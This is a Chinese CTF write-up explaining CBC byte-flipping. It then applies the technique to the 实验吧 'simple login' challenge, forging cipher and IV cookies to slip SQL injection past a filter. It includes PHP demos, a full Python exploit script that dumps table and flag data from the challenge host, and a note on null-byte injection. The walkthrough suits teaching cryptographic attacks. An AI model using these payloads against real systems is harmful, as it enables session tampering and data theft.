前言

这个题目的难点就是在于对于CBC加密方式尤其是解密这部分要琢磨一番,让我想起当年大学的时候信安三勇中的两勇的课,一门密码学,一门数学基础,可怕之极。这个题网上writeup一大堆,但是在一些方面解释的不是很详细,对大神们已经说的很清楚的地方我就粗略带过。

CBC解密以及字节翻转攻击(cbc-byte-flipping-attack)

我主要以CBC字符翻转 原理与实战这篇文章为基础,对其中一些细节做进一步解释。
在继续往下看之前,希望你先粗略读一遍这篇文章。

我们主要关注一下解密过程。

  • 对于第一个密文块来说,使用密码解密后的数据要与初始化向量IV做异或运算才能得到明文
  • 对于第N个密文块(N>1)来说,使用密码解密后的数据要与第(N-1)个密文块做异或运算才能得到明文

以CBC字符翻转 原理与实战这篇文章中的代码示例为基础,我做了一点简单的修改,将iv作为一个参数而不是预定义方式,方便我们后面使用,其他部分均未作改变:

<?php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt,$iv) {$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');mcrypt_generic_init($aes, MY_AES_KEY, $iv);return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}define('MY_MAC_LEN', 40);function encrypt($data,$iv) {return aes($data, true,$iv);
}function decrypt($data,$iv) {$data = rtrim(aes($data, false,$iv), "\0");return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v,"1234567891234567");
echo ord($enc[2]).PHP_EOL;
$enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc,"1234567891234567");
echo "Plaintext AFTER attack : $b\n";
?>

如果我们执行的话,输出结果应该是这样:

我们可以看到,6变成了7,且头部出现了乱码。
先研究下为什么6变成了7。

第二个密文块

首先,我们假设每一个块(block)为8个bit:
事实上在本题中每个块为128个bit,通过阅读源码可以发现使用的是aes-128-cbc,另外,我们执行的是字节翻转攻击,所以在做题时基本操作单位是byte,这里为了方便理解,我们微缩化了具体过程
| 块| 二进制表示 |备注|
| - | :-: | |
|明文块#2|11000000||
| 密文块#1 |01001100||
| 密文块#2 | 01000100|由明文块#2与密文块#1异或运算后用密钥key加密而来|
| 解密后的块#2 | 10001100 | 由密文块#2用密钥解密而来,注意还不是完全的明文 |
| 异或运算后的明文块#2 |11000000 |由解密后的块#2与密文块1异或运算后而来|
假设我们现在需要将异或运算后的明文块#2的值修改为11010000,也就是改动其中第四个bit从0变为1,我们能够操纵的是密文块#1
我们知道
解密后的块#2 XOR 密文块#1 = 异或运算后的明文块#2

10001100
XOR
01001100
=
11000000


我们只需要让密文块#1变为01011100,就可以让异或运算后的明文块#2变为11010000即:

10001100
XOR
01011100
=
11010000

如何让密文块#1变为我们想要的01011100呢,你可以说直接操作bit就行了,right,但是当每个块为128个bit时,显得太麻烦了,我们在实际例子中操作的是byte。

回到代码中

$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
这里可以16个byte为一组进行分块,因为在块加密算法中也是这样分的。
BLOCK#1:a:2:{s:4:"name";
BLOCK#2:s:6:"sdsdsd";s:8
同样的道理,如果我们修改BLOCK#1的密文的第3个字节也就是数字2的值,就能够操纵BLOCK#2中的第3个字节的值。
按照代码中的例子,我们需要把数字6变成7。这里相信很多人都有点迷惑了,怎么办?
我们先看一个公式:
设Cipher_Block_#1是BLOCK#1的密文,Cipher_Not_XOR_#2是BLOCK#2的密文解密后未执行异或运算的密文,那么就有:
Cipher_Block_#1 XOR Cipher_Not_XOR_#2 = BLOCK#2
我们精确到我们需要改变的字节:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] = BLOCK#2[2] = 6
进一步,我们有:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] XOR 6= 0
0 XOR 7 = 7
则有:
Cipher_Block_#1[2] XOR Cipher_Not_XOR_#2[2] XOR 6 XOR 7= 7
我们只需要令
Cipher_Block_After_Modified#1[2] = Cipher_Block_#1[2] XOR 6 XOR 7
就能够操纵BLOCK#2[2]变为7
这就是这行代码做的事情:
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
上面的公式看似复杂,实则非常简单,希望不要被吓到。

乱码怎么办?

这就涉及到第一个密文块,我们为了修改第二个密文块解密出的内容,必须修改第一个密文块,第一个密文块要使它不是乱码,就要修改初始化向量IV,使得异或运算后得到正常的值,事实上和上面的原理一致。
现在我们需要认识到,由于密文块1被修改,导致使用key解密后未执行异或运算前的密文也受到影响,我们设为Cipher_Not_XOR_Wrong_#1,同样,对于解密出的乱码明文我们设为BLOCK_Wrong_#1,我们需要让解密出的明文是正常可读的也就是BLOCK#1:
则有公式:
IV XOR Cipher_Not_XOR_Wrong_#1 = BLOCK_Wrong_#1
这里我们不能像上面一样,只修改IV的第二个字节,因为整个密文块1已经被我们改动了一个字节,会导致解密结果不仅限于一个字节,因此我们跳过精确到字节的公式,直接有:
IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK_Wrong_#1= 0
0 XOR BLOCK#1 = BLOCK#1
则有:
IV XOR Cipher_Not_XOR_Wrong_#1 XOR BLOCK_Wrong_#1 XOR BLOCK#1 =BLOCK#1
我们只需要修改IV,令其为:
IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
就能操纵第一个被修改后的密文块解密出正常的明文。我们修改示例代码,在结尾插入如下代码:

$iv="1234567891234567";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($b[$i]) ^ ord($iv[$i]) ^ ord($v[$i]));
}
$c = array();
$c = @decrypt($enc,$iv);
echo "Plaintext Third attack : $c\n";
?>

最终的执行结果为:

很不错,正确解密。

回到题目中

首先,我们通过阅读源码得知,是过滤了#的,那么,我们先尝试用字节翻转攻击使用#注释掉limit $id,0中的,0

Step1

发送如下数据包:

再简单不过了,就只有一个id=12。服务器返回了iv和cipher。在源代码中我们发现:

if(isset($_POST['id'])){$id = (string)$_POST['id'];if(sqliCheck($id))die("<h1 style='color:red'><center>sql inject detected!</center></h1>");$info = array('id'=>$id);login($info);echo '<h1><center>Hello!</center></h1>';

OK,我们自己来序列化一下看长什么样子:

<?php
$id="12"
$info= array('id'=>$id);
echo serialize($info);
?>

执行结果为:
a:1:{s:2:"id";s:2:"12";}

Step2

16个byte为一组,进行分组:
BLOCK#1:a:1:{s:2:"id";s:
BLOCK#2:2:"12";}
我们先修改cipher中的BLOCK#1的密文,使得BLOCK#2的解密后结果为2:"1#";},这样就能够使用#注释掉,0了。

<?php
$cipher="%2FccfSv1qyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D";
$cipher=urldecode($cipher);
$cipher=base64_decode($cipher);
$cipher[4]=chr(ord($cipher[4])^ord('2')^ord('#'));
$cipher=base64_encode($cipher);
$cipher=urlencode($cipher);
echo "$cipher\n";
?>

得到cipher为:
%2FccfSuxqyKyy1XZ3e34yBhMdjQMVGjUMH1ISEi8evzM%3D
使用这个cipher的值,iv不变,post数据包:

服务器返回的结果很明白,无法正常反序列化,因为我们的密文块1被修改,导致明文块1乱码。

Step3

现在我们知道了乱码明文的base64值,以及原本正常的明文值,依据上面的公式:
IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1
修改IV即可:

<?php
$iv = "6VFp%2BGNnuJHeIaQ58jWHaA%3D%3D";
$iv = urldecode($iv);
$iv = base64_decode($iv);
$block_wrong="8GmiVmSsfvsAKVpeudcNezI6IjEjIjt9";
$block_wrong=base64_decode($block_wrong);
$block_right="a:1:{s:2:\"id\";s:";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($block_wrong[$i]) ^ ord($iv[$i]) ^ ord($block_right[$i]));
}
$iv=base64_encode($iv);
$iv=urlencode($iv);
echo "$iv\n";
?>

输出结果为:
eAL6lHy4%2FFjkKpcDadn5KQ%3D%3D
使用这个iv替换数据包中的iv,再次重放:

注入成功。

获取FLAG

剩下的都是相同的操作。网上的python脚本写的有各种各样错误,也有些地方没有说清楚,下面放出我的脚本:

import requests
import re
from base64 import *
from urllib import quote,unquoteurl="http://ctf5.shiyanbar.com/web/jiandan/index.php"def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):payload = {"id":payload}r=requests.post(url,data=payload)iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]cipher=unquote(cipher)cipher=b64decode(cipher)cipher_list=list(cipher)cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))cipher_new=''.join(cipher_list)cipher_new=b64encode(cipher_new)cipher_new=quote(cipher_new)cookie = {'iv':iv,'cipher':cipher_new}r=requests.post(url,cookies=cookie)content = r.contentplain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]plain=b64decode(plain_base64)first_block_plain="a:1:{s:2:\"id\";s:"iv=unquote(iv)iv=b64decode(iv)iv_list=list(iv)for i in range(16):iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))iv_new=''.join(iv_list)iv_new=b64encode(iv_new)iv_new=quote(iv_new)cookie = {'iv':iv_new,'cipher':cipher_new}r=requests.post(url,cookies=cookie)return r.content
def get_columns_count():table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']for i in range(len(table_name)):payload="(select 1)a"if i==0:payload = "0 2nion select * from("+payload+");"+chr(0);content=find_flag(payload,6,'2','u')resp=re.findall(".*(Hello!)(\d).*",content)if resp:print "table has 1 column and response position is 1"return payloadelse:print "table does not have %d columns" % (i+1)continuefor t in range(i):payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])payload = "0 2nion select * from("+payload+");"+chr(0);content=find_flag(payload,6,'2','u')resp=re.findall(".*(Hello!)(\d).*",content)if resp:print "table has %d column and response position is %s" % (i+1,resp[0][1])return payloadelse:print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2','#')
print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')

get_columns_count

这个函数的目的是为了判断Union中select的次数,也就是说需要暴力破解处you_want表中的字段列数量,网上直接给出了结果是3个,我简单写了个函数去破解

6 or 7?

可以看到,有些payload中需要翻转的字节索引是6,有的是7,这主要是因为php序列化后,会在key和value中间加入一个长度值,如果payload太长,这个值就会变为3位,那么索引就是7,如果这个长度值是2位,那么索引就是6

关于chr(0)

评论中有闻到chr(0)是什么意思的,说明如下:
https://www.php.net/manual/en/security.filesystem.nullbytes.php

上图是php官网对空字节也就是0x00或者说%00引起的安全问题的解释,总的来说是因为php使用基于C语言的函数来操作文件系统,空字节在C语言里面是作为字符串的结尾标志,因此导致后续的字符串会被忽略掉。
放在mysql连接里面是一样的道理,php在连接mysql数据库进行查询,所以来的数据库接口实现也是C的,因此就会出现空字节注入。
我简单写了一个页面,代码如下:

然后我从浏览器发起了一个正常请求http://myserver:8081/index.php?id=root和一个由空字节结尾的注入语句http://myserver:8081/index.php?id=root%22;%00


使用wireshark抓一下服务器上mysql的包:

可以看到,第二次在注入语句时,sql查询语句已经被空字节截断了。

实验吧-简单的登录题——WriteUp再研究相关推荐

  1. CBC翻转攻击与实验吧CTF例题:简单的登录题

    CBC翻转攻击原理: 我认为,要更好更快的理解CBC翻转攻击,认识它的原理以及必要的密码学知识是必不可少的. 所以我们先离开题目,从密文的加密与解密说起: 下图是 密文加密过程: vi: 是用于随机化 ...

  2. 一道简单的CTF登录题题解

    一.解题感受 这道题50分,在实验吧练习场算比较高分,而且通过率只有14%,比较低的水平. 看到这两个数据,一开始就心生惬意,实在不应该呀! 也是因为心态原因,在发现test.php之后,自以为在SQ ...

  3. SpringCloud一代组件+nginx实现简单的登录注册

    SpringCloud一代组件+Nginx实现简单的登录注册 1.要求 2.实现步骤 1. 首先将项目骨架创建出来 2.然后将每个功能对应的子项目创建出来 3.导入对应的数据库和配置全局配置 4.配置 ...

  4. vue配置文件读取_Vue+Spring Boot简单用户登录Demo实现

    ❝ 「如果觉得文章好看,欢迎点赞.」「同时欢迎关注微信公众号:氷泠之路.」 ❞ 这是一个前后端分离的简单用户登录Demo. 技术栈 Vue BootstrapVue Kotlin Spring Boo ...

  5. 实验13 简单FTP 程序设计

    实验13简单FTP 程序设计 实验目的:设计一个简单的FTP 客户端,支持用户登录,浏览目录列表,上传 文件和下载文件的功能. 实验内容: 程序的伪代码如下: (假定FTP 用户名为user_name ...

  6. linux用户登录实验,实验三 Linux系统登录及用户管理

    实验三 Linux系统登录及用户管理 一.实验目的 (1)掌握系统远处登录的几个常用命令. (2)理解与用户账号及组账号有关的几个重要文件. (3)掌握命令行和图形方式下查看.添加.删除用户账号的用法 ...

  7. [XSY] 简单的博弈题(博弈+dp+组合数+容斥)

    简单的博弈题 对于贪心的对手,显然用最大的一半和他最小的一半比较判断是否全胜.(这不就是田忌赛马吗) 对于随机的对手,先考虑暴力怎么做: void check(int x,int w){if(x> ...

  8. Angular之简单的登录注册

    使用Angular实现了一个简单的登录注册的功能........ 涉及到的Angular知识点很少 主要是这个功能的实现...(*^__^*) 嘻嘻-- 里面涉及到的知识点记录: 1.本地存储的操作 ...

  9. php简单的登录界面,PHP实现简单用户登录界面

    用PHP实现简单的用户登录界面,供大家参考,具体内容如下 首先要实现用户登录界面需要一个html登录表单 用户名: 密码: 重复密码: 然后开始按照流程图写PHP代码 if(trim($_POST[' ...

  10. 写一个简单的登录页面!!!(html)

    写一个简单的登录页面!!! 大家好,我是伍柒. 今天我又双叒叕发现了一个好东西. 那就是用html做一个登录页面 那,该如何做呢? 首先 现在html里的body里写 一个头部header标签(双标签 ...

最新文章

  1. Vue 源码阅读(三)Special Attributes
  2. 创办智能车竞赛平台,十五年无间断,育人数十万
  3. Hadoop的安装(单机和集群)
  4. MATLAB基本操作(九):可视化矩阵的矢量场quiver函数
  5. 科大星云诗社动态20210423
  6. 网易创新企业大会倒计时2天 《企业数字化升级之路》白皮书将发布
  7. O(n*m)复杂度的多重背包coinsPOJ 1742
  8. 更便捷:阿里云DCDN离线日志转存全新升级
  9. ubuntu安装ftp_如何在 Ubuntu 20.04 上安装 Webmin
  10. 【实践】对比学习在快手推荐系统中的的应用探索
  11. 3种方法快速制作tpk文件
  12. 「我们的首要之务,并不是遥望模糊的远方,而是专心处理眼前的事务。」---这是卡内基先生所强调的克服忧虑、开创人生的关键。...
  13. MySQL中 slave_compressed_protocol=ON 的压缩效果实验
  14. 电机学(1) - 绪论
  15. centos 安装 谷歌BBR
  16. HTML中的音视频标签
  17. 工作中常用的英文单词缩写
  18. ubuntu18.04下EnlightenGAN运行过程记录
  19. 其实你的AI技能并没有那么值钱\n
  20. 制作JavaCV应用依赖的基础Docker镜像(CentOS7+JDK8+OpenCV4)

热门文章

  1. esp8266基本使用 - GET|POST
  2. linux恢复rm删除文件ext4,EXT4中恢复使用rm命令误删除的文件
  3. 希尔顿康莱德酒店及度假村亮相中国科技与创新孵化中心
  4. 比较常用的平面设计软件都有哪些?
  5. python模拟键盘上键和回车_使用Python模拟键盘输入
  6. 云栖社区Markdown指南【2018版】
  7. python产生一个1到10的列表_python-列表生成式(一)
  8. 5.Transformation(转换算子)
  9. jQuery 任意公历转为农历
  10. <aop:aspectj-autoproxy />AOP自动代理